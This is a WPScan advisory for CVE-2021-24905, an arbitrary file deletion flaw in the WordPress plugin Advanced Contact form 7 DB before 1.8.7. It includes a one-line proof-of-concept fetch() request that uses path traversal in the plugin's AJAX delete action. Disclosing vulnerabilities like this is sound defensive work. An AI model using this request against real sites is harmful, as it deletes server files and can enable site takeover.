WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Advanced Contact form 7 DB < 1.8.7 - Subscriber+ Arbitrary File Deletion

Description

The plugin does not have authorisation nor CSRF checks in the acf7_db_edit_scr_file_delete AJAX action, and does not validate the file to be deleted, allowing any authenticated user to delete arbitrary files on the web server. For example, removing the wp-config.php allows attackers to trigger WordPress setup again, gain administrator privileges and execute arbitrary code or display arbitrary content to the users.

Note: 1.8.3 added capability and CSRF checks, path traversal fully fixed in 1.8.7

Proof of Concept

fetch("/wp-admin/admin-ajax.php?action=acf7_db_edit_scr_file_delete", {"method": "post", "headers": {'Content-Type': 'application/x-www-form-urlencoded'}, "body": "fid=1&rid=1&field=1&val=../../../license.txt"}) 

Affects Plugins

advanced-cf7-db
Fixed in version 1.8.7

References

CVE
CVE-2021-24905

Classification

Type

ACCESS CONTROLS

OWASP top 10
A5: Broken Access Control
CWE
CWE-284

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Verified

Yes

WPVDB ID
cf022415-6614-4b95-913b-802186766ae6

Timeline

Publicly Published

2022-02-22 (about 11 months ago)

Added

2022-02-22 (about 11 months ago)

Last Updated

2022-04-10 (about 9 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us